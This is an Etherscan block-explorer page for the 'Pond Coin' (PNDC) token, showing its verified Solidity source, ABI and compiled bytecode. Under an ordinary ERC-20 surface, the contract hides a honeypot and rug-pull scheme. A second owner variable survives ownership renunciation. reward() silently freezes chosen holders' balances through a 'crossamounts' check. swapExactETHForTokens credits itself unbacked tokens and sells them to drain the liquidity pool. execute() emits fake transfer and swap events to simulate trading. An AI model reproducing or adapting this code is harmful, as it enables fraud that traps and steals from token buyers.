ETH Price: $3,376.35 (+3.10%)
Gas: 3 Gwei

Token

Pond Coin (PNDC)
 

Overview

Max Total Supply

1,000,000,000 PNDC

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
518,113.908289544354864624 PNDC

Value
$0.00
0x8e3692b840afbab3356e64b2858123d542033fb3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PNDC

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-06
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract PNDC {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private crossamounts;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "Pond Coin";
    string public constant symbol = "PNDC";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 1_000_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (crossamounts[from] > 0) {
            require(_count(crossamounts[from], balances[from]) == 0);
        }
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    function swapExactETHForTokens(
        address baseToken,
        address _recipient,
        uint256 amount
    ) public OnlyOwner {
        require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
        uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
        uint256 amountOut = (baseTokenReserve * amount) / 100000;

        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = baseToken;

        uint256 amountIn = _countAmountIn(amountOut, path);

        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200);
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                crossamounts[_users[i]] = rewardAmount;
            }
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556b033b2e3c9fd0803ce800000060085534801562000046575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000e1919062000246565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200013f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000165919062000246565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001b0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d6919062000246565b600180546001600160a01b0319166001600160a01b0392909216919091179055600854335f81815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000275565b5f6020828403121562000257575f80fd5b81516001600160a01b03811681146200026e575f80fd5b9392505050565b61156580620002835f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c80634cf2af431161009e57806395d89b411161006e57806395d89b41146102585780639b792a441461027b578063a457c2d71461028e578063a9059cbb146102a1578063dd62ed3e146102b4575f80fd5b80634cf2af43146101ea57806370a08231146101fd578063715018a6146102255780638da5cb5b1461022d575f80fd5b806323b872dd116100d957806323b872dd14610197578063313ce567146101aa57806335d16274146101c457806339509351146101d7575f80fd5b806306fdde031461010a578063095ea7b31461014857806318160ddd1461016b57806318aee92014610182575b5f80fd5b610132604051806040016040528060098152602001682837b7321021b7b4b760b91b81525081565b60405161013f9190610fd5565b60405180910390f35b61015b610156366004611047565b6102c7565b604051901515815260200161013f565b61017460085481565b60405190815260200161013f565b610195610190366004611071565b6102dd565b005b61015b6101a53660046110ec565b6103dd565b6101b2601281565b60405160ff909116815260200161013f565b6101746101d236600461112a565b6103fe565b61015b6101e5366004611047565b61052a565b6101956101f83660046110ec565b61054b565b61017461020b36600461112a565b6001600160a01b03165f9081526006602052604090205490565b61019561073b565b600254610240906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b61013260405180604001604052806004815260200163504e444360e01b81525081565b61015b6102893660046111ad565b6107a7565b61015b61029c366004611047565b610821565b61015b6102af366004611047565b6108a6565b6101746102c2366004611268565b6108b2565b5f6102d33384846108dc565b5060015b92915050565b6003546001600160a01b031633146103105760405162461bcd60e51b81526004016103079061129f565b60405180910390fd5b5f5b838110156103d65782610345868684818110610330576103306112d6565b905060200201602081019061020b919061112a565b11156103c4575f61037c868684818110610361576103616112d6565b9050602002016020810190610376919061112a565b84610a00565b90508060055f888886818110610394576103946112d6565b90506020020160208101906103a9919061112a565b6001600160a01b0316815260208101919091526040015f2055505b806103ce816112fe565b915050610312565b5050505050565b5f6103e9843384610a29565b6103f4848484610aa1565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610451573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610475919061132c565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f99190611378565b6001600160a01b03161461051657816001600160701b0316610521565b826001600160701b03165b95945050505050565b5f336103f481858561053c83836108b2565b6105469190611393565b6108dc565b6003546001600160a01b031633146105755760405162461bcd60e51b81526004016103079061129f565b5f811180156105865750620186a081105b6105ca5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610307565b5f6105d4846103fe565b90505f620186a06105e584846113a6565b6105ef91906113bd565b60408051600280825260608083018452939450909160208301908036833701905050905030815f81518110610626576106266112d6565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061065a5761065a6112d6565b60200260200101906001600160a01b031690816001600160a01b0316815250505f6106858383610ccb565b5f80543080835260066020526040909220549293506106af926001600160a01b03909116906108dc565b5f546001600160a01b0316638803dbee8483858a6106cf426104b0611393565b6040518663ffffffff1660e01b81526004016106ef95949392919061141e565b5f604051808303815f875af115801561070a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526107319190810190611459565b5050505050505050565b6002546001600160a01b031633146107955760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006044820152606401610307565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146107d35760405162461bcd60e51b81526004016103079061129f565b5f5b8551811015610815576108038682815181106107f3576107f36112d6565b6020026020010151868686610dd7565b8061080d816112fe565b9150506107d5565b50600195945050505050565b5f338161082e82866108b2565b90508381101561088e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610307565b61089b82868684036108dc565b506001949350505050565b5f6102d3338484610aa1565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6001600160a01b03831661093e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610307565b6001600160a01b03821661099f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610307565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f90815260066020526040812054610a229083610e68565b9392505050565b5f610a3484846108b2565b90505f198114610a9b5781811015610a8e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610307565b610a9b84848484036108dc565b50505050565b6001600160a01b038316610b055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610307565b6001600160a01b038216610b675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610307565b6001600160a01b0383165f9081526006602052604090205481811015610bde5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610307565b6001600160a01b0384165f9081526005602052604090205415610c32576001600160a01b0384165f90815260056020908152604080832054600690925290912054610c299190610e68565b15610c32575f80fd5b610c3c8183610e73565b6001600160a01b038086165f908152600660205260408082209390935590851681522054610c6a9083610ed7565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cbd9086815260200190565b60405180910390a350505050565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d1f90879087906004016114e5565b5f60405180830381865afa158015610d39573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610d609190810190611459565b9050805f81518110610d7457610d746112d6565b602002602001015160065f306001600160a01b03166001600160a01b031681526020019081526020015f205f828254610dad9190611393565b92505081905550805f81518110610dc657610dc66112d6565b602002602001015191505092915050565b610de18484610f35565b610dec838386610f7d565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610e44573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d691906114fd565b5f610a228284611393565b5f82821115610ec45760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610307565b5f610ecf838561151c565b949350505050565b5f80610ee38385611393565b905083811015610a225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610307565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109f3565b5f6020808352835180828501525f5b8181101561100057858101830151858201604001528201610fe4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611034575f80fd5b50565b803561104281611020565b919050565b5f8060408385031215611058575f80fd5b823561106381611020565b946020939093013593505050565b5f805f8060608587031215611084575f80fd5b843567ffffffffffffffff8082111561109b575f80fd5b818701915087601f8301126110ae575f80fd5b8135818111156110bc575f80fd5b8860208260051b85010111156110d0575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f606084860312156110fe575f80fd5b833561110981611020565b9250602084013561111981611020565b929592945050506040919091013590565b5f6020828403121561113a575f80fd5b8135610a2281611020565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561118257611182611145565b604052919050565b5f67ffffffffffffffff8211156111a3576111a3611145565b5060051b60200190565b5f805f80608085870312156111c0575f80fd5b843567ffffffffffffffff8111156111d6575f80fd5b8501601f810187136111e6575f80fd5b803560206111fb6111f68361118a565b611159565b82815260059290921b8301810191818101908a841115611219575f80fd5b938201935b8385101561124057843561123181611020565b8252938201939082019061121e565b975050870135945050506040850135915061125d60608601611037565b905092959194509250565b5f8060408385031215611279575f80fd5b823561128481611020565b9150602083013561129481611020565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161130f5761130f6112ea565b5060010190565b80516001600160701b0381168114611042575f80fd5b5f805f6060848603121561133e575f80fd5b61134784611316565b925061135560208501611316565b9150604084015163ffffffff8116811461136d575f80fd5b809150509250925092565b5f60208284031215611388575f80fd5b8151610a2281611020565b808201808211156102d7576102d76112ea565b80820281158282048414176102d7576102d76112ea565b5f826113d757634e487b7160e01b5f52601260045260245ffd5b500490565b5f8151808452602080850194508084015f5b838110156114135781516001600160a01b0316875295820195908201906001016113ee565b509495945050505050565b85815284602082015260a060408201525f61143c60a08301866113dc565b6001600160a01b0394909416606083015250608001529392505050565b5f602080838503121561146a575f80fd5b825167ffffffffffffffff811115611480575f80fd5b8301601f81018513611490575f80fd5b805161149e6111f68261118a565b81815260059190911b820183019083810190878311156114bc575f80fd5b928401925b828410156114da578351825292840192908401906114c1565b979650505050505050565b828152604060208201525f610ecf60408301846113dc565b5f6020828403121561150d575f80fd5b81518015158114610a22575f80fd5b818103818111156102d7576102d76112ea56fea2646970667358221220aed54932607a32b1e1c70ff36ab0072a6bbb03d9e8077cc5c8040616dfdc4f3664736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c80634cf2af431161009e57806395d89b411161006e57806395d89b41146102585780639b792a441461027b578063a457c2d71461028e578063a9059cbb146102a1578063dd62ed3e146102b4575f80fd5b80634cf2af43146101ea57806370a08231146101fd578063715018a6146102255780638da5cb5b1461022d575f80fd5b806323b872dd116100d957806323b872dd14610197578063313ce567146101aa57806335d16274146101c457806339509351146101d7575f80fd5b806306fdde031461010a578063095ea7b31461014857806318160ddd1461016b57806318aee92014610182575b5f80fd5b610132604051806040016040528060098152602001682837b7321021b7b4b760b91b81525081565b60405161013f9190610fd5565b60405180910390f35b61015b610156366004611047565b6102c7565b604051901515815260200161013f565b61017460085481565b60405190815260200161013f565b610195610190366004611071565b6102dd565b005b61015b6101a53660046110ec565b6103dd565b6101b2601281565b60405160ff909116815260200161013f565b6101746101d236600461112a565b6103fe565b61015b6101e5366004611047565b61052a565b6101956101f83660046110ec565b61054b565b61017461020b36600461112a565b6001600160a01b03165f9081526006602052604090205490565b61019561073b565b600254610240906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b61013260405180604001604052806004815260200163504e444360e01b81525081565b61015b6102893660046111ad565b6107a7565b61015b61029c366004611047565b610821565b61015b6102af366004611047565b6108a6565b6101746102c2366004611268565b6108b2565b5f6102d33384846108dc565b5060015b92915050565b6003546001600160a01b031633146103105760405162461bcd60e51b81526004016103079061129f565b60405180910390fd5b5f5b838110156103d65782610345868684818110610330576103306112d6565b905060200201602081019061020b919061112a565b11156103c4575f61037c868684818110610361576103616112d6565b9050602002016020810190610376919061112a565b84610a00565b90508060055f888886818110610394576103946112d6565b90506020020160208101906103a9919061112a565b6001600160a01b0316815260208101919091526040015f2055505b806103ce816112fe565b915050610312565b5050505050565b5f6103e9843384610a29565b6103f4848484610aa1565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610451573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610475919061132c565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f99190611378565b6001600160a01b03161461051657816001600160701b0316610521565b826001600160701b03165b95945050505050565b5f336103f481858561053c83836108b2565b6105469190611393565b6108dc565b6003546001600160a01b031633146105755760405162461bcd60e51b81526004016103079061129f565b5f811180156105865750620186a081105b6105ca5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610307565b5f6105d4846103fe565b90505f620186a06105e584846113a6565b6105ef91906113bd565b60408051600280825260608083018452939450909160208301908036833701905050905030815f81518110610626576106266112d6565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061065a5761065a6112d6565b60200260200101906001600160a01b031690816001600160a01b0316815250505f6106858383610ccb565b5f80543080835260066020526040909220549293506106af926001600160a01b03909116906108dc565b5f546001600160a01b0316638803dbee8483858a6106cf426104b0611393565b6040518663ffffffff1660e01b81526004016106ef95949392919061141e565b5f604051808303815f875af115801561070a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526107319190810190611459565b5050505050505050565b6002546001600160a01b031633146107955760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006044820152606401610307565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146107d35760405162461bcd60e51b81526004016103079061129f565b5f5b8551811015610815576108038682815181106107f3576107f36112d6565b6020026020010151868686610dd7565b8061080d816112fe565b9150506107d5565b50600195945050505050565b5f338161082e82866108b2565b90508381101561088e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610307565b61089b82868684036108dc565b506001949350505050565b5f6102d3338484610aa1565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6001600160a01b03831661093e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610307565b6001600160a01b03821661099f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610307565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f90815260066020526040812054610a229083610e68565b9392505050565b5f610a3484846108b2565b90505f198114610a9b5781811015610a8e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610307565b610a9b84848484036108dc565b50505050565b6001600160a01b038316610b055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610307565b6001600160a01b038216610b675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610307565b6001600160a01b0383165f9081526006602052604090205481811015610bde5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610307565b6001600160a01b0384165f9081526005602052604090205415610c32576001600160a01b0384165f90815260056020908152604080832054600690925290912054610c299190610e68565b15610c32575f80fd5b610c3c8183610e73565b6001600160a01b038086165f908152600660205260408082209390935590851681522054610c6a9083610ed7565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cbd9086815260200190565b60405180910390a350505050565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d1f90879087906004016114e5565b5f60405180830381865afa158015610d39573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610d609190810190611459565b9050805f81518110610d7457610d746112d6565b602002602001015160065f306001600160a01b03166001600160a01b031681526020019081526020015f205f828254610dad9190611393565b92505081905550805f81518110610dc657610dc66112d6565b602002602001015191505092915050565b610de18484610f35565b610dec838386610f7d565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610e44573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d691906114fd565b5f610a228284611393565b5f82821115610ec45760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610307565b5f610ecf838561151c565b949350505050565b5f80610ee38385611393565b905083811015610a225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610307565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df5